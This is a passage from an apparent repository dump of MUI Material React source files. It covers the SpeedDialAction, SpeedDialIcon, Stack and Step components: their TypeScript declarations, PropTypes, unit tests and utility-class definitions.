delay, to allow a series of SpeedDialActions to be animated.\n   * @default 0\n   */\n  delay: PropTypes.number,\n  /**\n   * The icon to display in the SpeedDial Fab.\n   */\n  icon: PropTypes.node,\n  /**\n   * This prop is used to help implement the accessibility logic.\n   * If you don't provide this prop. It falls back to a randomly generated id.\n   */\n  id: PropTypes.string,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    fab: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    staticTooltip: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    staticTooltipLabel: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    tooltip: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    fab: PropTypes.elementType,\n    staticTooltip: PropTypes.elementType,\n    staticTooltipLabel: PropTypes.elementType,\n    tooltip: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default SpeedDialAction;\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialAction/SpeedDialAction.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport Icon from '@mui/material/Icon';\nimport Tooltip from '@mui/material/Tooltip';\nimport { fabClasses } from '@mui/material/Fab';\nimport SpeedDialAction, { speedDialActionClasses as classes } from '@mui/material/SpeedDialAction';\nimport describeConformance from '../../test/describeConformance';\n\nconst CustomButton = React.forwardRef(({ ownerState, ...props }, ref) => (\n  <button ref={ref} {...props} data-testid=\"custom\" />\n));\n\nconst CustomTooltip = React.forwardRef(({ onOpen, onClose, ownerState, ...props }, ref) => (\n  <div ref={ref} {...props} data-testid=\"custom\" />\n));\n\ndescribe('<SpeedDialAction />', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  describeConformance(\n    <SpeedDialAction icon={<Icon>add</Icon>} slotProps={{ tooltip: { title: 'placeholder' } }} />,\n    () => ({\n      classes,\n      inheritComponent: Tooltip,\n      render,\n      refInstanceof: window.HTMLButtonElement,\n      muiName: 'MuiSpeedDialAction',\n      testRootOverrides: { slotName: 'fab' },\n      skip: ['componentProp', 'themeVariants'],\n      slots: {\n        fab: {\n          expectedClassName: classes.fab,\n          testWithElement: null,\n          testWithComponent: CustomButton,\n        },\n        tooltip: {\n          expectedClassName: classes.tooltip,\n          testWithElement: null,\n          testWithComponent: CustomTooltip,\n        },\n      },\n    }),\n  );\n\n  it('should be able to change the slotProps.tooltip.classes', () => {\n    const { container } = render(\n      <SpeedDialAction\n        icon={<Icon>add</Icon>}\n        open\n        slotProps={{\n          tooltip: {\n            classes: { tooltip: 'bar' },\n            title: 'placeholder',\n          },\n        }}\n      />,\n    );\n\n    fireEvent.mouseOver(container.querySelector('button'));\n    clock.tick(100);\n\n    expect(screen.getByText('placeholder')).to.have.class('bar');\n  });\n\n  it('should render a Fab', () => {\n    const { container } = render(\n      <SpeedDialAction icon={<Icon>add</Icon>} slotProps={{ tooltip: { title: 'placeholder' } }} />,\n    );\n    expect(container.querySelector('button')).to.have.class(fabClasses.root);\n  });\n\n  it('should have accessible name if slotProps.tooltip.open is true', () => {\n    render(\n      <SpeedDialAction\n        icon={<Icon>add</Icon>}\n        slotProps={{ tooltip: { open: true, title: 'placeholder' } }}\n      />,\n    );\n\n    const target = screen.getByRole('menuitem');\n    expect(target).toHaveAccessibleName('placeholder');\n  });\n\n  it('should have accessible name if slotProps.tooltip.open is false', () => {\n    render(\n      <SpeedDialAction icon={<Icon>add</Icon>} slotProps={{ tooltip: { title: 'placeholder' } }} />,\n    );\n\n    const target = screen.getByRole('menuitem');\n    expect(target).toHaveAccessibleName('placeholder');\n  });\n\n  it('should render the button with the fab class', () => {\n    const { container } = render(\n      <SpeedDialAction\n        icon={<Icon>add</Icon>}\n        slotProps={{ tooltip: { title: 'placeholder' } }}\n        open\n      />,\n    );\n    expect(container.querySelector('button')).to.have.class(classes.fab);\n  });\n\n  it('should render the button with the fab and fabClosed classes', () => {\n    const { container } = render(\n      <SpeedDialAction icon={<Icon>add</Icon>} slotProps={{ tooltip: { title: 'placeholder' } }} />,\n    );\n    expect(container.querySelector('button')).to.have.class(classes.fab);\n    expect(container.querySelector('button')).to.have.class(classes.fabClosed);\n  });\n\n  it('should have staticTooltip class if slotProps.tooltip.open is true', () => {\n    const { container } = render(\n      <SpeedDialAction\n        icon={<Icon>add</Icon>}\n        slotProps={{ tooltip: { open: true, title: 'placeholder' } }}\n      />,\n    );\n    const [staticToolTip, staticToolTipLabel] = container.querySelectorAll('span');\n    expect(staticToolTip).to.have.class(classes.staticTooltip);\n    expect(staticToolTipLabel).to.have.class(classes.staticTooltipLabel);\n  });\n\n  it('should have staticToolTip and staticToolTipLabel classes if slotProps.tooltip.open is true and custom slots are provided', () => {\n    const CustomStaticTooltip = React.forwardRef(({ ownerState, ...props }, ref) => (\n      <div {...props} ref={ref}>\n        {props.children}\n      </div>\n    ));\n    const CustomStaticTooltipLabel = React.forwardRef(({ ownerState, ...props }, ref) => (\n      <div {...props} ref={ref}>\n        {props.children}\n      </div>\n    ));\n\n    const { container } = render(\n      <SpeedDialAction\n        icon={<Icon>add</Icon>}\n        slotProps={{ tooltip: { open: true, title: 'placeholder' } }}\n        slots={{\n          staticTooltip: CustomStaticTooltip,\n          staticTooltipLabel: CustomStaticTooltipLabel,\n        }}\n      />,\n    );\n\n    const [staticToolTip, staticToolTipLabel] = container.querySelectorAll('div');\n\n    expect(staticToolTip).to.have.class(classes.staticTooltip);\n\n    expect(staticToolTip).to.have.class(classes.staticTooltip);\n    expect(staticToolTipLabel).to.have.class(classes.staticTooltipLabel);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialAction/index.d.ts",
    "content": "export { default } from './SpeedDialAction';\nexport * from './SpeedDialAction';\n\nexport { default as speedDialActionClasses } from './speedDialActionClasses';\nexport * from './speedDialActionClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialAction/index.js",
    "content": "export { default } from './SpeedDialAction';\n\nexport { default as speedDialActionClasses } from './speedDialActionClasses';\nexport * from './speedDialActionClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialAction/speedDialActionClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SpeedDialActionClasses {\n  /** Styles applied to the Fab component. */\n  fab: string;\n  /** Styles applied to the Fab component if `open={false}`. */\n  fabClosed: string;\n  /** Styles applied to the root element if `tooltipOpen={true}`. */\n  staticTooltip: string;\n  /** Styles applied to the root element if `tooltipOpen={true}` and `open={false}`. */\n  staticTooltipClosed: string;\n  /** Styles applied to the static tooltip label if `tooltipOpen={true}`. */\n  staticTooltipLabel: string;\n  /** Styles applied to the root element if `tooltipOpen={true}` and `tooltipPlacement=\"left\"`` */\n  tooltipPlacementLeft: string;\n  /** Styles applied to the root element if `tooltipOpen={true}` and `tooltipPlacement=\"right\"`` */\n  tooltipPlacementRight: string;\n}\n\nexport type SpeedDialActionClassKey = keyof SpeedDialActionClasses;\n\nexport function getSpeedDialActionUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiSpeedDialAction', slot);\n}\n\nconst speedDialActionClasses: SpeedDialActionClasses = generateUtilityClasses(\n  'MuiSpeedDialAction',\n  [\n    'fab',\n    'fabClosed',\n    'staticTooltip',\n    'staticTooltipClosed',\n    'staticTooltipLabel',\n    'tooltipPlacementLeft',\n    'tooltipPlacementRight',\n  ],\n);\n\nexport default speedDialActionClasses;\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialIcon/SpeedDialIcon.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { SpeedDialIconClasses } from './speedDialIconClasses';\n\nexport interface SpeedDialIconProps extends StandardProps<\n  React.HTMLAttributes<HTMLSpanElement>,\n  'children'\n> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SpeedDialIconClasses> | undefined;\n  /**\n   * The icon to display.\n   */\n  icon?: React.ReactNode;\n  /**\n   * The icon to display in the SpeedDial Floating Action Button when the SpeedDial is open.\n   */\n  openIcon?: React.ReactNode;\n  /**\n   * @ignore\n   * If `true`, the component is shown.\n   */\n  open?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Speed Dial](https://next.mui.com/material-ui/react-speed-dial/)\n *\n * API:\n *\n * - [SpeedDialIcon API](https://next.mui.com/material-ui/api/speed-dial-icon/)\n */\ndeclare const SpeedDialIcon: ((props: SpeedDialIconProps) => React.JSX.Element) & {\n  muiName: string;\n};\n\nexport default SpeedDialIcon;\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialIcon/SpeedDialIcon.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport AddIcon from '../internal/svg-icons/Add';\nimport speedDialIconClasses, { getSpeedDialIconUtilityClass } from './speedDialIconClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, open, openIcon } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    icon: ['icon', open && 'iconOpen', openIcon && open && 'iconWithOpenIconOpen'],\n    openIcon: ['openIcon', open && 'openIconOpen'],\n  };\n\n  return composeClasses(slots, getSpeedDialIconUtilityClass, classes);\n};\n\nconst SpeedDialIconRoot = styled('span', {\n  name: 'MuiSpeedDialIcon',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${speedDialIconClasses.icon}`]: styles.icon },\n      { [`& .${speedDialIconClasses.icon}`]: ownerState.open && styles.iconOpen },\n      {\n        [`& .${speedDialIconClasses.icon}`]:\n          ownerState.open && ownerState.openIcon && styles.iconWithOpenIconOpen,\n      },\n      { [`& .${speedDialIconClasses.openIcon}`]: styles.openIcon },\n      { [`& .${speedDialIconClasses.openIcon}`]: ownerState.open && styles.openIconOpen },\n      styles.root,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    height: 24,\n    [`& .${speedDialIconClasses.icon}`]: {\n      transition: theme.transitions.create(['transform', 'opacity'], {\n        duration: theme.transitions.duration.short,\n      }),\n    },\n    [`& .${speedDialIconClasses.openIcon}`]: {\n      position: 'absolute',\n      transition: theme.transitions.create(['transform', 'opacity'], {\n        duration: theme.transitions.duration.short,\n      }),\n      opacity: 0,\n      transform: 'rotate(-45deg)',\n    },\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.open,\n        style: {\n          [`& .${speedDialIconClasses.icon}`]: {\n            transform: 'rotate(45deg)',\n          },\n          [`& .${speedDialIconClasses.openIcon}`]: {\n            transform: 'rotate(0deg)',\n            opacity: 1,\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.open && ownerState.openIcon,\n        style: {\n          [`& .${speedDialIconClasses.icon}`]: {\n            opacity: 0,\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst SpeedDialIcon = React.forwardRef(function SpeedDialIcon(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiSpeedDialIcon' });\n  const { className, icon: iconProp, open, openIcon: openIconProp, ...other } = props;\n\n  const ownerState = props;\n  const classes = useUtilityClasses(ownerState);\n\n  function formatIcon(icon, newClassName) {\n    if (React.isValidElement(icon)) {\n      return React.cloneElement(icon, { className: newClassName });\n    }\n\n    return icon;\n  }\n\n  return (\n    <SpeedDialIconRoot\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    >\n      {openIconProp ? formatIcon(openIconProp, classes.openIcon) : null}\n      {iconProp ? formatIcon(iconProp, classes.icon) : <AddIcon className={classes.icon} />}\n    </SpeedDialIconRoot>\n  );\n});\n\nSpeedDialIcon.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The icon to display.\n   */\n  icon: PropTypes.node,\n  /**\n   * @ignore\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool,\n  /**\n   * The icon to display in the SpeedDial Floating Action Button when the SpeedDial is open.\n   */\n  openIcon: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nSpeedDialIcon.muiName = 'SpeedDialIcon';\n\nexport default SpeedDialIcon;\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialIcon/SpeedDialIcon.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Icon from '@mui/material/Icon';\nimport SpeedDialIcon, { speedDialIconClasses as classes } from '@mui/material/SpeedDialIcon';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<SpeedDialIcon />', () => {\n  const { render } = createRenderer();\n  const icon = <Icon>font_icon</Icon>;\n\n  describeConformance(<SpeedDialIcon />, () => ({\n    classes,\n    inheritComponent: 'span',\n    render,\n    refInstanceof: window.HTMLSpanElement,\n    muiName: 'MuiSpeedDialIcon',\n    testVariantProps: { icon },\n    skip: ['componentProp'],\n  }));\n\n  it('should render the Add icon by default', () => {\n    render(<SpeedDialIcon />);\n    expect(screen.getAllByTestId('AddIcon').length).to.equal(1);\n  });\n\n  it('should render an Icon', () => {\n    const { container } = render(<SpeedDialIcon icon={icon} />);\n    expect(container.firstChild.querySelector('span')).to.have.class(classes.icon);\n  });\n\n  it('should render an openIcon', () => {\n    const { container } = render(<SpeedDialIcon openIcon={icon} />);\n    expect(container.firstChild.querySelector('span')).to.have.class(classes.openIcon);\n  });\n\n  it('should render the icon with the icon class', () => {\n    const { container } = render(<SpeedDialIcon />);\n    expect(container.querySelector('svg')).to.have.class(classes.icon);\n    expect(container.querySelector('svg')).not.to.have.class(classes.iconOpen);\n    expect(container.querySelector('svg')).not.to.have.class(classes.iconWithOpenIconOpen);\n  });\n\n  it('should render the icon with the icon and iconOpen classes', () => {\n    const { container } = render(<SpeedDialIcon open />);\n    expect(container.querySelector('svg')).to.have.class(classes.icon);\n    expect(container.querySelector('svg')).to.have.class(classes.iconOpen);\n    expect(container.querySelector('svg')).not.to.have.class(classes.iconWithOpenIconOpen);\n  });\n\n  it('should render the icon with the icon, iconOpen iconWithOpenIconOpen classes', () => {\n    const { container } = render(<SpeedDialIcon open openIcon={icon} />);\n    expect(container.querySelector('svg')).to.have.class(classes.icon);\n    expect(container.querySelector('svg')).to.have.class(classes.iconOpen);\n    expect(container.querySelector('svg')).to.have.class(classes.iconWithOpenIconOpen);\n  });\n\n  it('should render the openIcon with the openIcon class', () => {\n    const { container } = render(<SpeedDialIcon openIcon={icon} />);\n    expect(container.firstChild.querySelector('span')).to.have.class(classes.openIcon);\n    expect(container.firstChild.querySelector('span')).not.to.have.class(classes.openIconOpen);\n  });\n\n  it('should render the openIcon with the openIcon, openIconOpen classes', () => {\n    const { container } = render(<SpeedDialIcon openIcon={icon} open />);\n    expect(container.firstChild.querySelector('span')).to.have.class(classes.openIcon);\n    expect(container.firstChild.querySelector('span')).to.have.class(classes.openIconOpen);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialIcon/index.d.ts",
    "content": "export { default } from './SpeedDialIcon';\nexport * from './SpeedDialIcon';\n\nexport { default as speedDialIconClasses } from './speedDialIconClasses';\nexport * from './speedDialIconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialIcon/index.js",
    "content": "export { default } from './SpeedDialIcon';\n\nexport { default as speedDialIconClasses } from './speedDialIconClasses';\nexport * from './speedDialIconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialIcon/speedDialIconClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SpeedDialIconClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the icon component. */\n  icon: string;\n  /** Styles applied to the icon component if `open={true}`. */\n  iconOpen: string;\n  /** Styles applied to the icon when an `openIcon` is provided and if `open={true}`. */\n  iconWithOpenIconOpen: string;\n  /** Styles applied to the `openIcon` if provided. */\n  openIcon: string;\n  /** Styles applied to the `openIcon` if provided and if `open={true}`. */\n  openIconOpen: string;\n}\n\nexport type SpeedDialIconClassKey = keyof SpeedDialIconClasses;\n\nexport function getSpeedDialIconUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiSpeedDialIcon', slot);\n}\n\nconst speedDialIconClasses: SpeedDialIconClasses = generateUtilityClasses('MuiSpeedDialIcon', [\n  'root',\n  'icon',\n  'iconOpen',\n  'iconWithOpenIconOpen',\n  'openIcon',\n  'openIconOpen',\n]);\n\nexport default speedDialIconClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Stack/Stack.d.ts",
    "content": "import * as React from 'react';\nimport { ResponsiveStyleValue, SxProps } from '@mui/system';\nimport { OverrideProps, OverridableComponent } from '../OverridableComponent';\nimport { Theme } from '../styles/createTheme';\n\nexport interface StackOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Defines the `flex-direction` style property.\n   * It is applied for all screen sizes.\n   * @default 'column'\n   */\n  direction?: ResponsiveStyleValue<'row' | 'row-reverse' | 'column' | 'column-reverse'> | undefined;\n  /**\n   * Defines the space between immediate children.\n   * @default 0\n   */\n  spacing?: ResponsiveStyleValue<number | string> | undefined;\n  /**\n   * Add an element between each child.\n   */\n  divider?: React.ReactNode;\n  /**\n   * If `true`, the CSS flexbox `gap` is used instead of applying `margin` to children.\n   *\n   * While CSS `gap` removes the [known limitations](https://mui.com/joy-ui/react-stack/#limitations),\n   * it is not fully supported in some browsers. We recommend checking https://caniuse.com/?search=flex%20gap before using this flag.\n   *\n   * To enable this flag globally, follow the [theme's default props](https://mui.com/material-ui/customization/theme-components/#default-props) configuration.\n   * @default false\n   */\n  useFlexGap?: boolean | undefined;\n  /**\n   * The system prop, which allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface StackTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & StackOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Stack](https://next.mui.com/material-ui/react-stack/)\n *\n * API:\n *\n * - [Stack API](https://next.mui.com/material-ui/api/stack/)\n */\ndeclare const Stack: OverridableComponent<StackTypeMap>;\n\nexport type StackProps<\n  RootComponent extends React.ElementType = StackTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<StackTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Stack;\n"
  },
  {
    "path": "packages/mui-material/src/Stack/Stack.js",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport { createStack } from '@mui/system';\nimport styled from '../styles/styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\n\nconst Stack = createStack({\n  createStyledComponent: styled('div', {\n    name: 'MuiStack',\n    slot: 'Root',\n  }),\n  useThemeProps: (inProps) => useDefaultProps({ props: inProps, name: 'MuiStack' }),\n});\n\nStack.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Defines the `flex-direction` style property.\n   * It is applied for all screen sizes.\n   * @default 'column'\n   */\n  direction: PropTypes.oneOfType([\n    PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n    PropTypes.arrayOf(PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row'])),\n    PropTypes.object,\n  ]),\n  /**\n   * Add an element between each child.\n   */\n  divider: PropTypes.node,\n  /**\n   * Defines the space between immediate children.\n   * @default 0\n   */\n  spacing: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop, which allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * If `true`, the CSS flexbox `gap` is used instead of applying `margin` to children.\n   *\n   * While CSS `gap` removes the [known limitations](https://mui.com/joy-ui/react-stack/#limitations),\n   * it is not fully supported in some browsers. We recommend checking https://caniuse.com/?search=flex%20gap before using this flag.\n   *\n   * To enable this flag globally, follow the [theme's default props](https://mui.com/material-ui/customization/theme-components/#default-props) configuration.\n   * @default false\n   */\n  useFlexGap: PropTypes.bool,\n};\n\nexport default Stack;\n"
  },
  {
    "path": "packages/mui-material/src/Stack/Stack.spec.tsx",
    "content": "import * as React from 'react';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\n\nconst Stage: React.FC<React.PropsWithChildren<BoxProps>> = ({ children, ...props }) => {\n  return <Box {...props}>{children}</Box>;\n};\n\nexport default function App() {\n  return (\n    <Stack component={Stage} spacing={2}>\n      <div />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Stack/Stack.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport Stack, { stackClasses as classes } from '@mui/material/Stack';\nimport describeConformance from '../../test/describeConformance';\n\n// The main tests are in mui-system Stack folder\ndescribe('<Stack />', () => {\n  const { render } = createRenderer();\n\n  const defaultProps = {\n    children: <div />,\n  };\n\n  describeConformance(<Stack {...defaultProps} />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiStack',\n    testVariantProps: { direction: 'row' },\n    skip: ['classesRoot'],\n  }));\n});\n"
  },
  {
    "path": "packages/mui-material/src/Stack/index.d.ts",
    "content": "export { default } from './Stack';\nexport * from './Stack';\n\nexport { default as stackClasses } from './stackClasses';\nexport * from './stackClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Stack/index.js",
    "content": "export { default } from './Stack';\nexport { default as stackClasses } from './stackClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Stack/stackClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport { StackClasses } from '@mui/system';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport type { StackClassKey } from '@mui/system';\nexport type { StackClasses };\n\nexport function getStackUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiStack', slot);\n}\n\nconst stackClasses: StackClasses = generateUtilityClasses('MuiStack', ['root']);\n\nexport default stackClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Step/Step.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { StepClasses } from './stepClasses';\n\nexport interface StepOwnProps {\n  /**\n   * Sets the step as active. Is passed to child components.\n   */\n  active?: boolean | undefined;\n  /**\n   * Should be `Step` sub-components such as `StepLabel`, `StepContent`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<StepClasses> | undefined;\n  /**\n   * Mark the step as completed. Is passed to child components.\n   */\n  completed?: boolean | undefined;\n  /**\n   * If `true`, the step is disabled, will also disable the button if\n   * `StepButton` is a child of `Step`. Is passed to child components.\n   */\n  disabled?: boolean | undefined;\n  /**\n   * Expand the step.\n   * @default false\n   */\n  expanded?: boolean | undefined;\n  /**\n   * The position of the step.\n   * The prop defaults to the value inherited from the parent Stepper component.\n   */\n  index?: number | undefined;\n  /**\n   * If `true`, the Step is displayed as rendered last.\n   * The prop defaults to the value inherited from the parent Stepper component.\n   */\n  last?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface StepTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & StepOwnProps;\n  defaultComponent: RootComponent;\n}\n\nexport type StepProps<\n  RootComponent extends React.ElementType = StepTypeMap['defaultComponent'],\n  AdditionalProps = { component?: React.ElementType | undefined },\n> = OverrideProps<StepTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport type StepClasskey = keyof NonNullable<StepProps['classes']>;\n\n/**\n *\n * Demos:\n *\n * - [Stepper](https://next.mui.com/material-ui/react-stepper/)\n *\n * API:\n *\n * - [Step API](https://next.mui.com/material-ui/api/step/)\n */\ndeclare const Step: OverridableComponent<StepTypeMap>;\n\nexport default Step;\n"
  },
  {
    "path": "packages/mui-material/src/Step/Step.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport integerPropType from '@mui/utils/integerPropType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useStepperContext } from '../Stepper/StepperContext';\nimport StepContext from './StepContext';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getStepUtilityClass } from './stepClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, orientation, alternativeLabel, completed } = ownerState;\n\n  const slots = {\n    root: ['root', orientation, alternativeLabel && 'alternativeLabel', completed && 'completed'],\n  };\n\n  return composeClasses(slots, getStepUtilityClass, classes);\n};\n\nconst StepRoot = styled('li', {\n  name: 'MuiStep',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.orientation],\n      ownerState.alternativeLabel && styles.alternativeLabel,\n      ownerState.completed && styles.completed,\n    ];\n  },\n})({\n  variants: [\n    {\n      props: { orientation: 'horizontal' },\n      style: {\n        paddingLeft: 8,\n        paddingRight: 8,\n      },\n    },\n    {\n      props: { alternativeLabel: true },\n      style: {\n        flex: 1,\n        position: 'relative',\n      },\n    },\n  ],\n});\n\nconst Step = React.forwardRef(function Step(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiStep' });\n  const {\n    active: activeProp,\n    children,\n    className,\n    component = 'li',\n    completed: completedProp,\n    disabled: disabledProp,\n    expanded = false,\n    index,\n    last,\n    ...other\n  } = props;\n\n  const { activeStep, connector, alternativeLabel, orientation, nonLinear, isTabList } =\n    useStepperContext();\n\n  let [active = false, completed = false, disabled = false] = [\n    activeProp,\n    completedProp,\n    disabledProp,\n  ];\n\n  if (activeStep === index) {\n    active = activeProp !== undefined ? activeProp : true;\n  } else if (!nonLinear && activeStep > index) {\n    completed = completedProp !== undefined ? completedProp : true;\n  } else if (!nonLinear && activeStep < index) {\n    disabled = disabledProp !== undefined ? disabledProp : true;\n  }\n\n  const contextValue = React.useMemo(\n    () => ({ index, last, expanded, icon: index + 1, active, completed, disabled }),\n    [index, last, expanded, active, completed, disabled],\n  );\n\n  const ownerState = {\n    ...props,\n    active,\n    orientation,\n    alternativeLabel,\n    completed,\n    disabled,\n    expanded,\n    component,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const newChildren = (\n    <StepRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      role={isTabList ? 'presentation' : undefined}\n      {...other}\n    >\n      {connector && alternativeLabel && index !== 0 ? connector : null}\n      {children}\n    </StepRoot>\n  );\n\n  return (\n    <StepContext.Provider value={contextValue}>\n      {connector && !alternativeLabel && index !== 0 ? (\n        <React.Fragment>\n          {connector}\n          {newChildren}\n        </React.Fragment>\n      ) : (\n        newChildren\n      )}\n    </StepContext.Provider>\n  );\n});\n\nStep.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Sets the step as active. Is passed to child components.\n   */\n  active: PropTypes.bool,\n  /**\n   * Should be `Step` sub-components such as `StepLabel`, `StepContent`.\n   */\n  children: 